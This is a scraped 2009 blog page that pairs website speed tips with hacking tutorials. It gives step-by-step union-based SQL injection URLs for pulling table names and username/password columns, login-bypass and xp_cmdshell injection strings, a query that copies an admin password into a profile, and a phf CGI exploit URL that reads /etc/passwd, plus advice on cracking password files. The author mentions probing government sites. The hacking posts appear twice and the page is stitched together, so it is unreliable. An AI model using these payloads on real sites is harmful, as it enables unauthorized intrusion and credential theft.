This article by Drunkadmin had hit the front pages of Digg . It gives a good idea on optimizing web pages that will definitely increase a website's loading time. Host Images And Files Somewhere Else
Many users online at the same time can cause your server to handle a lot of requests. Its best that if you are using images in your site, make sure you upload them to image host sites like ImageShack . This will greatly reduce the bandwidth used by your server and also make your blog faster as image upload sites have a better speed.
Best place to host files of sizes 2-5mb (Any thing you need to provide users for download) is to use Google Pages as your host.
Optimize Your CSS
Nowadays many sites have started to use CSS based formatting. Even if Style Sheets are naturally more efficient than HTML tables you can still optimize the CSS code to make your website cleaner and faster. Having a clean CSS can reduce the time taken by the clients browser to decode your site.
Manual Clean Try to locate dispersed code and aggregate it together.
For example instead of margin- top: 20px;
margin-right: 10px;
margin-bottom: 20px;
margin-left: 10 px; Write margin: 20 px 10 px 20 px 10px; You can use the tool Clean CSS to optimize your CSS and remove useless property declaration and whitespaces. Optimize Your Images
Use image formats such as PNG, JPG,/JPEG And GIF. Always use the "Save for web" image quality which is available in most softwares such as Adobe Photoshop.
Use Height/Width Tag In Images
Most people dont add hieght and width tag to images. These tags make sure that the browser knows the dimensions of images before it has completed downloading the image. If the browser does not see those tags it will need to figure the size of the image, then load the image and then load the rest of the page.
When the height and width tags are included the browser will automatically know the size of the image. As a consequence it will be able to hold a place for the image and load the rest of the page simultaneously. Apart from the improvement on the load time of the page this method is also more user friendly since the visitor can start reading the text or other information while the image is being downloaded. Use Less Javascript!
Some people tend to add a lot of javascript effects to their site. Using excessive javascript animations may cause clients browser to freeze for some time annoying the user.
Optimize Links
Make sure that the outlinks from your blog and link between posts are optimized well. For example if link is www.domain.com/blog make sure you write it as www.domain.com/blog/ to prevent one extra request which would be made to the server if the former link is used.
The improvement on the loading time of links ending with a slash will not be astronomical, but when it comes to speeding up a website every small bit helps!
Reduce HTTP Requests To Server
When opening a web page every object (images, scripts and the line) will require a round trip to the server. This latency can add several seconds to the load time of your site. Make sure to reduce the number of objects and to combine CSS files and scripts together.
WELCOME GUEST ENJOY YOUR STAY HERE...
TELL A FRIEND ABOUT US..
Showing posts with label website. Show all posts
Showing posts with label website. Show all posts
Friday, August 21, 2009
Friday, August 14, 2009
MYSQL TUTORIAL PART 2
Sub-section 2 :
Find the number of columns
So, now its time to find the number of columns present. For this purpose, we will be using 'order by' until we get error.
That is, we make our URL query as:
www.site.com/article.php?id=5 order by 1/*
//this didn't give error.
Now, I do increase it to 2.
www.site.com/article.php?id=5 order by 2/*
//still no error
So, we need to increase until we get the error.
In my example, I got error when I put the value 3 i.e.
www.site.com/article.php?id=5 order by 3/*
//this gave me error.
So, it means there are 2 columns in the current table (3- 1 =2). This is how we find the number of columns.
Sub-section 3 :
Addressing Vulnerable Part:
Now, we need to use union statement & find the column which we can replace so as to see the secret data on the page.
First lets craft the union statement which won't error.. This becomes like this:
www.site.com/article.php?id=5 UNION ALL SELECT null/*
This would error because our query needs to have one more null there.. Also null doesn't cause any type conversion error as it is just null..
So for our injection, it becomes:
www.site.com/article.php?id=5 UNION ALL SELECT null,null/*
For this we do:
www.site.com/article.php?id=5 UNION ALL SELECT 1 ,2/*
Now we will see the number(s) on the page somewhere. I mean, either 1 or 2 or both 1 & 2 are seen on the page. Note that the number may be displayed anywhere like in the title of the page or sometime even in the hidden tags in the source.. So, this means we can replace the number with our commands to display the private data the DB holds.
In my example, 1 is seen on the page. This means, I should replace 1 with my things to proceed further. Got it?? So lets move forward.
Quick note: Sometime the numbers may not be displayed so it becomes hard for you to find the column which you can use to steal the data.. So in that case, you may try something like below:
www.site.com/article.php?id=5 UNION ALL SELECT xyz123,null/*
or
www.site.com/article.php?id=5 UNION ALL SELECT null,xyz123/*
If xyz123 is displayed somewhere in the page, you may go further for injection replacing the text part... Here, I have kept text instead of integer to check if text is displayed... Also, be sure to check source because sometimes they may be in some hidden tags..
CTD...
Sub-section 4 :
Finding MySQL version:
For our injection, it is necessary to find the MySQL version bcoz if it is 5, our job becomes lot easier. To check the version, there is a function @@version or version().
So, what we do is replace 1(which is the replaceable part) with @@version i.e. we do as below:
www.site.com/article.php?id=5 UNION ALL SELECT @@version,2/*
or
www.site.com/article.php?id=5 UNION ALL SELECT version (),2/*
So, this would return the version of MySQL running on the server.
But, sometimes u may get error with above query. If that is the case, do use of unhex(hex()) function like this:
www.site.com/article.php?id=UN ION ALL SELECT unhex(hex (@@version)),2/*
Remember that if u have to use unhex(hex()) function here, u will also have to use this function in the injection process later on.
@@version will give u the version. It may be either 4 (or below) or 5 & above. I m now going to discuss the injection process for version 5 and 4 separately coz as I said earlier, version 5 makes it easy for us to perform the injection.
Quick note: Also, you may check for user, database,etc.. by using following:
www.site.com/article.php?id=5 UNION ALL SELECT user (),2/*
http://www.site.com/article.ph p?id=5 UNION ALL SELECT database(),2/*
Sub-section 5 :
MySQL 5 or above injection:
Here, I m gonna show u how to access data in the server running MySQL 5 or above.
U got MySQL version 5.0.27 standard using the @@version in url parameter. MySQL from version 5 has a useful function called information_schema. This is table that holds information about the tables and columns present in the DB server. That is, it contains name of all tables and columns of the site.
For getting table list, we use: table_name from information_schema.tables
For getting column list, we use: column_name from information_schema.columns
So our query for getting the table list in our example would be:
www.site.com/article.php?id=5 UNION ALL SELECT table_name,2 FROM information_schema.tables/*
And yeah if u had to use unhex(hex()) while finding version, u will have to do:
www.site.com/article.php?id=5 UNION ALL SELECT unhex (hex(table_name)),2 FROM information_schema.tables/*
This will list all the tables present in the DB. For our purpose, we will be searching for the table containing the user and password information. So we look the probable table with that information. U can even write down the table names for further reference and works. For my example, I would use the tbluser as the table that contains user & password.
Similarly, to get the column list, we would make our query as:
www.site.com/article.php?id=5 UNION ALL SELECT column_name,2 FROM information_schema.columns/*
This returns all the columns present in the DB server. Now from this listing, we will look for the probable columns for username and password. For my injection, there are two columns holding these info. They are username and password respectively. Succeed in above and then comment here to get more info
Find the number of columns
So, now its time to find the number of columns present. For this purpose, we will be using 'order by' until we get error.
That is, we make our URL query as:
www.site.com/article.php?id=5 order by 1/*
//this didn't give error.
Now, I do increase it to 2.
www.site.com/article.php?id=5 order by 2/*
//still no error
So, we need to increase until we get the error.
In my example, I got error when I put the value 3 i.e.
www.site.com/article.php?id=5 order by 3/*
//this gave me error.
So, it means there are 2 columns in the current table (3- 1 =2). This is how we find the number of columns.
Sub-section 3 :
Addressing Vulnerable Part:
Now, we need to use union statement & find the column which we can replace so as to see the secret data on the page.
First lets craft the union statement which won't error.. This becomes like this:
www.site.com/article.php?id=5 UNION ALL SELECT null/*
This would error because our query needs to have one more null there.. Also null doesn't cause any type conversion error as it is just null..
So for our injection, it becomes:
www.site.com/article.php?id=5 UNION ALL SELECT null,null/*
For this we do:
www.site.com/article.php?id=5 UNION ALL SELECT 1 ,2/*
Now we will see the number(s) on the page somewhere. I mean, either 1 or 2 or both 1 & 2 are seen on the page. Note that the number may be displayed anywhere like in the title of the page or sometime even in the hidden tags in the source.. So, this means we can replace the number with our commands to display the private data the DB holds.
In my example, 1 is seen on the page. This means, I should replace 1 with my things to proceed further. Got it?? So lets move forward.
Quick note: Sometime the numbers may not be displayed so it becomes hard for you to find the column which you can use to steal the data.. So in that case, you may try something like below:
www.site.com/article.php?id=5 UNION ALL SELECT xyz123,null/*
or
www.site.com/article.php?id=5 UNION ALL SELECT null,xyz123/*
If xyz123 is displayed somewhere in the page, you may go further for injection replacing the text part... Here, I have kept text instead of integer to check if text is displayed... Also, be sure to check source because sometimes they may be in some hidden tags..
CTD...
Sub-section 4 :
Finding MySQL version:
For our injection, it is necessary to find the MySQL version bcoz if it is 5, our job becomes lot easier. To check the version, there is a function @@version or version().
So, what we do is replace 1(which is the replaceable part) with @@version i.e. we do as below:
www.site.com/article.php?id=5 UNION ALL SELECT @@version,2/*
or
www.site.com/article.php?id=5 UNION ALL SELECT version (),2/*
So, this would return the version of MySQL running on the server.
But, sometimes u may get error with above query. If that is the case, do use of unhex(hex()) function like this:
www.site.com/article.php?id=UN ION ALL SELECT unhex(hex (@@version)),2/*
Remember that if u have to use unhex(hex()) function here, u will also have to use this function in the injection process later on.
@@version will give u the version. It may be either 4 (or below) or 5 & above. I m now going to discuss the injection process for version 5 and 4 separately coz as I said earlier, version 5 makes it easy for us to perform the injection.
Quick note: Also, you may check for user, database,etc.. by using following:
www.site.com/article.php?id=5 UNION ALL SELECT user (),2/*
http://www.site.com/article.ph p?id=5 UNION ALL SELECT database(),2/*
Sub-section 5 :
MySQL 5 or above injection:
Here, I m gonna show u how to access data in the server running MySQL 5 or above.
U got MySQL version 5.0.27 standard using the @@version in url parameter. MySQL from version 5 has a useful function called information_schema. This is table that holds information about the tables and columns present in the DB server. That is, it contains name of all tables and columns of the site.
For getting table list, we use: table_name from information_schema.tables
For getting column list, we use: column_name from information_schema.columns
So our query for getting the table list in our example would be:
www.site.com/article.php?id=5 UNION ALL SELECT table_name,2 FROM information_schema.tables/*
And yeah if u had to use unhex(hex()) while finding version, u will have to do:
www.site.com/article.php?id=5 UNION ALL SELECT unhex (hex(table_name)),2 FROM information_schema.tables/*
This will list all the tables present in the DB. For our purpose, we will be searching for the table containing the user and password information. So we look the probable table with that information. U can even write down the table names for further reference and works. For my example, I would use the tbluser as the table that contains user & password.
Similarly, to get the column list, we would make our query as:
www.site.com/article.php?id=5 UNION ALL SELECT column_name,2 FROM information_schema.columns/*
This returns all the columns present in the DB server. Now from this listing, we will look for the probable columns for username and password. For my injection, there are two columns holding these info. They are username and password respectively. Succeed in above and then comment here to get more info
What is SQL Injection ?
SQL injection is the most common and videly used exploit by hackers all over the world...few days back i was just doing some SQL injection test on Indian govt sites, I was shocked to see how many imp govt sites r open to it....this is a big thread for us...a malicious hacker can do a lot of harm if he wish to.
Vocabulary:
* SQL: Server Query Language- used in web applications to interact with databases.
* SQL Injection : Method of exploiting a web application by supplying user input designed to manipulate SQL database queries.
* "Injection": You enter the injections into an html form which is sent to the web application. The application then puts you input directly into a SQL query. In advertantly, this allows you to manipulate to query...
Prerequisite:
* A background of programming and a general idea of how most hacking methods are done.
Application:
* Hacking a SQL database- driven server (usually only the ones that use unparsed user input in database queries). There is still a surprising number of data-driven web applications on the net that are vulnerable to this type of exploit. Being as typical as all method, the frequency of possible targets decreases over time as the method becomes more known. This is one those exploits that aren't easily prevented by a simple patch but by a competent programmer.
Use:
First, let's look at a typical SQL query:
SELECT fieldName1 , fieldName2 FROM databaseName WHERE restrictionsToFilterWhichEntri esToReturn
Now, to dissect...
The red areas is where criterion is inputed. The rest of the query structures the query.
* SELECT fieldName1 , fieldName2 - Specifies the of the names of fields that will be returned from the database.
* FROM databaseName - Specifies the name of the database to search.
* WHERE restrictionsToFilterWhichEntri esToReturn - Specifies which entries to return.
Here is an example for somebody's login script:
SELECT userAcessFlags FROM userDatabase WHERE userName="(input here)" AND userPass="(input here)"
The idea is guess what that application's query looks like and input things designed to return data other than what was intended.
In the example, input like the following could give gain access to the administrator account:
User: administrator
Pass: " OR ""="
Making the query like this:
SELECT userAcessFlags FROM userDatabase WHERE userName="administrator" AND userPass="" OR ""=""
As you can see, ""="" (nothing does indeed match nothing)
Note: Injections are rarely as simple as this...
One can be creative and use error messages to your advantadge to access other databases, fields, and entries. Learn a little SQL to use things like UNION to merges query results with ones not intended.On the security side, parse user data and get rid of any extra symbols now that you know how it's done.
The idea in this example is to break out of the quotation marks.
When stuff is inside quotation marks, the stuff isn't processed as code or anything but as a phrase and what it is.
The password injection was: " OR ""="
What this does is close the string that was started by the quotation mark in the part userPass=". Once you break out, THEN stuff is considered code. So, I put OR ""=" after I break out of the string. You will notice that it is comparing two quotation marks with one, but the quotation mark already built in by the application finishes it so we have this:
userPass="" OR ""=""
Notice how the first and last quotation marks are not colored and are not built in.
Additional notes:
This was just an extremely simplified version and you will probably need to learn a little SQL to fully understand.
Here are a few SQL terms that do other things:
UNION: You use this to merge the results of one query with another. You may put things like SELECT after UNION in order to search other databases and stuff. Sometimes you may need to use ALL in conjuction to break out of certain clauses. It does no harm so when in doubt you could do something like:
" UNION ALL SELECT 0,'','hash' FROM otherDatabase WHERE userName="admin
The key when using UNION is to make your new query return the same amount of columns in the same datatype so that you may get the results you want.
:-- This works sometimes to terminate the query so that it ignores to the rest of the stuff that might be fed afterwards if you don't like it. For example:
SELECT * FROM userDatabase WHERE userName="admin";--" AND userPass="aH0 qcQOVz7 e0s"
NOT IN: If you have no idea which record you want you could record cycle (you request vague info, and you put what you already got in the NOT IN clause so that you can get the next entry)
Usage:
SELECT userName userPass FROM userDatabase WHERE userName NOT IN ('Dehstil','Twistedchaos')
EXEC: This command should never work, but if it does...you win; you could do anything. For instance, you could inject something like this:
';EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:
All my examples so far have dealt with read processes. To manipulate a write process, here is an example for those who know what their doing:
INSERT INTO userProfile VALUES(''+ (SELECT userPass FROM userDatabase WHERE userName='admin')+ '' + 'Chicago' + 'male')
This example would theoretically put the admin's password in your profile.
Vocabulary:
* SQL: Server Query Language- used in web applications to interact with databases.
* SQL Injection : Method of exploiting a web application by supplying user input designed to manipulate SQL database queries.
* "Injection": You enter the injections into an html form which is sent to the web application. The application then puts you input directly into a SQL query. In advertantly, this allows you to manipulate to query...
Prerequisite:
* A background of programming and a general idea of how most hacking methods are done.
Application:
* Hacking a SQL database- driven server (usually only the ones that use unparsed user input in database queries). There is still a surprising number of data-driven web applications on the net that are vulnerable to this type of exploit. Being as typical as all method, the frequency of possible targets decreases over time as the method becomes more known. This is one those exploits that aren't easily prevented by a simple patch but by a competent programmer.
Use:
First, let's look at a typical SQL query:
SELECT fieldName1 , fieldName2 FROM databaseName WHERE restrictionsToFilterWhichEntri esToReturn
Now, to dissect...
The red areas is where criterion is inputed. The rest of the query structures the query.
* SELECT fieldName1 , fieldName2 - Specifies the of the names of fields that will be returned from the database.
* FROM databaseName - Specifies the name of the database to search.
* WHERE restrictionsToFilterWhichEntri esToReturn - Specifies which entries to return.
Here is an example for somebody's login script:
SELECT userAcessFlags FROM userDatabase WHERE userName="(input here)" AND userPass="(input here)"
The idea is guess what that application's query looks like and input things designed to return data other than what was intended.
In the example, input like the following could give gain access to the administrator account:
User: administrator
Pass: " OR ""="
Making the query like this:
SELECT userAcessFlags FROM userDatabase WHERE userName="administrator" AND userPass="" OR ""=""
As you can see, ""="" (nothing does indeed match nothing)
Note: Injections are rarely as simple as this...
One can be creative and use error messages to your advantadge to access other databases, fields, and entries. Learn a little SQL to use things like UNION to merges query results with ones not intended.On the security side, parse user data and get rid of any extra symbols now that you know how it's done.
The idea in this example is to break out of the quotation marks.
When stuff is inside quotation marks, the stuff isn't processed as code or anything but as a phrase and what it is.
The password injection was: " OR ""="
What this does is close the string that was started by the quotation mark in the part userPass=". Once you break out, THEN stuff is considered code. So, I put OR ""=" after I break out of the string. You will notice that it is comparing two quotation marks with one, but the quotation mark already built in by the application finishes it so we have this:
userPass="" OR ""=""
Notice how the first and last quotation marks are not colored and are not built in.
Additional notes:
This was just an extremely simplified version and you will probably need to learn a little SQL to fully understand.
Here are a few SQL terms that do other things:
UNION: You use this to merge the results of one query with another. You may put things like SELECT after UNION in order to search other databases and stuff. Sometimes you may need to use ALL in conjuction to break out of certain clauses. It does no harm so when in doubt you could do something like:
" UNION ALL SELECT 0,'','hash' FROM otherDatabase WHERE userName="admin
The key when using UNION is to make your new query return the same amount of columns in the same datatype so that you may get the results you want.
:-- This works sometimes to terminate the query so that it ignores to the rest of the stuff that might be fed afterwards if you don't like it. For example:
SELECT * FROM userDatabase WHERE userName="admin";--" AND userPass="aH0 qcQOVz7 e0s"
NOT IN: If you have no idea which record you want you could record cycle (you request vague info, and you put what you already got in the NOT IN clause so that you can get the next entry)
Usage:
SELECT userName userPass FROM userDatabase WHERE userName NOT IN ('Dehstil','Twistedchaos')
EXEC: This command should never work, but if it does...you win; you could do anything. For instance, you could inject something like this:
';EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:
All my examples so far have dealt with read processes. To manipulate a write process, here is an example for those who know what their doing:
INSERT INTO userProfile VALUES(''+ (SELECT userPass FROM userDatabase WHERE userName='admin')+ '' + 'Chicago' + 'male')
This example would theoretically put the admin's password in your profile.
Sunday, August 2, 2009
HACKING WEBPAGES...
Getting the Password File Through FTP
Ok well one of the easiest ways of getting superuser access is through
anonymous ftp access into a webpage. First you need learn a little about
the password file...
root:User:d7 Bdg:1 n2 HG2 :1127 :20:Superuser
TomJones:p5 Y(h0 tiC:1229 :20:Tom Jones,:/usr/people/tomjones:/b in/csh
BBob:EUyd5 XAAtv2 dA:1129 :20:Billy Bob:/usr/people/bbob:/bin/csh
This is an example of a regular encrypted password file. The Superuser is
the part that gives you root. That's the main part of the file.
root:x:0 :1:Superuser:/:
ftp:x:202 :102 :Anonymous ftp:/u1/ftp:
ftpadmin:x:203 :102 :ftp Administrator:/u1/ftp
This is another example of a password file, only this one has one little
difference, it's shadowed. Shadowed password files don't let you view or
copy the actual encrypted password. This causes problems for the password
cracker and dictionary maker(both explained later in the text). Below is
another example of a shadowed password file:
root:x:0 :1 :0000 - Admin(0000):/:/usr/bin/csh
daemon:x:1 :1 :0000 -Admin(0000):/:
bin:x:2 :2 :0000 - Admin(0000):/usr/bin:
sys:x:3 :3 :0000 -Admin(0000):/:
adm:x:4 :4 :0000 - Admin(0000):/var/adm:
lp:x:71 :8 :0000 - lp(0000):/usr/spool/lp:
smtp:x:0 :0:mail daemon user:/:
uucp:x:5 :5 :0000 - uucp(0000):/usr/lib/uucp:
nuucp:x:9 :9 :0000 - uucp(0000):/var/spool/uucppubl ic:/usr/lib/uucp/uucico
listen:x:37 :4:Network Admin:/usr/net/nls:
nobody:x: 60001 : 60001 :uid no body:/:
noaccess:x: 60002 : 60002 :uid no access:/:
webmastr:x:53 :53:WWW Admin:/export/home/webmastr :/usr/bin/csh
pin4 geo:x:55 :55 :PinPaper Admin:/export/home/webmastr /new/gregY/test/pin4geo:/bin/ false
ftp:x:54 :54:Anonymous FTP:/export/home/anon_ftp:/bi n/false
Shadowed password files have an "x" in the place of a password or sometimes
they are disguised as an * as well.
Now that you know a little more about what the actual password file looks
like you should be able to identify a normal encrypted pw from a shadowed
pw file. We can now go on to talk about how to crack it.
Cracking a password file isn't as complicated as it would seem, although the
files vary from system to system. 1.The first step that you would take is
to download or copy the file. 2. The second step is to find a password
cracker and a dictionary maker. Although it's nearly impossible to find a
good cracker there are a few ok ones out there. I recomend that you look
for Cracker Jack, John the Ripper, Brute Force Cracker, or Jack the Ripper.
Now for a dictionary maker or a dictionary file... When you start a
cracking prog you will be asked to find the the password file. That's where
a dictionary maker comes in. You can download one from nearly every hacker
page on the net. A dictionary maker finds all the possible letter
combinations with the alphabet that you choose(ASCII, caps, lowercase, and
numeric letters may also be added). We will be releasing our pasword file
to the public soon, it will be called, Psychotic Candy, "The Perfect Drug."
As far as we know it will be one of the largest in circulation. 3. You then start up the cracker and follow the directions that it gives
you.
The PHF Technique
Well I wasn't sure if I should include this section due to the fact that
everybody already knows it and most servers have already found out about
the bug and fixed it. But since I have been asked questions about the phf
I decided to include it.
The phf technique is by far the easiest way of getting a password file
(although it doesn't work 95% of the time). But to do the phf all you do
is open a browser and type in the following link:
http://webpage_goes_here/cgi- bin/phf?Qalias=x%0 a/bin/cat%20/etc/passwd
You replace the webpage_goes_here with the domain. So if you were trying to
get the pw file for www.webpage.com you would type:
http://www.webpage.com/cgi- bin/phf?Qalias=x%0 a/bin/cat%20/etc/passwd
and that's it! You just sit back and copy the file(if it works).
The best way to get root is with an exploit. Exploits will be explained soon.,enjoy
Ok well one of the easiest ways of getting superuser access is through
anonymous ftp access into a webpage. First you need learn a little about
the password file...
root:User:d7 Bdg:1 n2 HG2 :1127 :20:Superuser
TomJones:p5 Y(h0 tiC:1229 :20:Tom Jones,:/usr/people/tomjones:/b in/csh
BBob:EUyd5 XAAtv2 dA:1129 :20:Billy Bob:/usr/people/bbob:/bin/csh
This is an example of a regular encrypted password file. The Superuser is
the part that gives you root. That's the main part of the file.
root:x:0 :1:Superuser:/:
ftp:x:202 :102 :Anonymous ftp:/u1/ftp:
ftpadmin:x:203 :102 :ftp Administrator:/u1/ftp
This is another example of a password file, only this one has one little
difference, it's shadowed. Shadowed password files don't let you view or
copy the actual encrypted password. This causes problems for the password
cracker and dictionary maker(both explained later in the text). Below is
another example of a shadowed password file:
root:x:0 :1 :0000 - Admin(0000):/:/usr/bin/csh
daemon:x:1 :1 :0000 -Admin(0000):/:
bin:x:2 :2 :0000 - Admin(0000):/usr/bin:
sys:x:3 :3 :0000 -Admin(0000):/:
adm:x:4 :4 :0000 - Admin(0000):/var/adm:
lp:x:71 :8 :0000 - lp(0000):/usr/spool/lp:
smtp:x:0 :0:mail daemon user:/:
uucp:x:5 :5 :0000 - uucp(0000):/usr/lib/uucp:
nuucp:x:9 :9 :0000 - uucp(0000):/var/spool/uucppubl ic:/usr/lib/uucp/uucico
listen:x:37 :4:Network Admin:/usr/net/nls:
nobody:x: 60001 : 60001 :uid no body:/:
noaccess:x: 60002 : 60002 :uid no access:/:
webmastr:x:53 :53:WWW Admin:/export/home/webmastr :/usr/bin/csh
pin4 geo:x:55 :55 :PinPaper Admin:/export/home/webmastr /new/gregY/test/pin4geo:/bin/ false
ftp:x:54 :54:Anonymous FTP:/export/home/anon_ftp:/bi n/false
Shadowed password files have an "x" in the place of a password or sometimes
they are disguised as an * as well.
Now that you know a little more about what the actual password file looks
like you should be able to identify a normal encrypted pw from a shadowed
pw file. We can now go on to talk about how to crack it.
Cracking a password file isn't as complicated as it would seem, although the
files vary from system to system. 1.The first step that you would take is
to download or copy the file. 2. The second step is to find a password
cracker and a dictionary maker. Although it's nearly impossible to find a
good cracker there are a few ok ones out there. I recomend that you look
for Cracker Jack, John the Ripper, Brute Force Cracker, or Jack the Ripper.
Now for a dictionary maker or a dictionary file... When you start a
cracking prog you will be asked to find the the password file. That's where
a dictionary maker comes in. You can download one from nearly every hacker
page on the net. A dictionary maker finds all the possible letter
combinations with the alphabet that you choose(ASCII, caps, lowercase, and
numeric letters may also be added). We will be releasing our pasword file
to the public soon, it will be called, Psychotic Candy, "The Perfect Drug."
As far as we know it will be one of the largest in circulation. 3. You then start up the cracker and follow the directions that it gives
you.
The PHF Technique
Well I wasn't sure if I should include this section due to the fact that
everybody already knows it and most servers have already found out about
the bug and fixed it. But since I have been asked questions about the phf
I decided to include it.
The phf technique is by far the easiest way of getting a password file
(although it doesn't work 95% of the time). But to do the phf all you do
is open a browser and type in the following link:
http://webpage_goes_here/cgi- bin/phf?Qalias=x%0 a/bin/cat%20/etc/passwd
You replace the webpage_goes_here with the domain. So if you were trying to
get the pw file for www.webpage.com you would type:
http://www.webpage.com/cgi- bin/phf?Qalias=x%0 a/bin/cat%20/etc/passwd
and that's it! You just sit back and copy the file(if it works).
The best way to get root is with an exploit. Exploits will be explained soon.,enjoy
Subscribe to:
Posts (Atom)
MY STATS
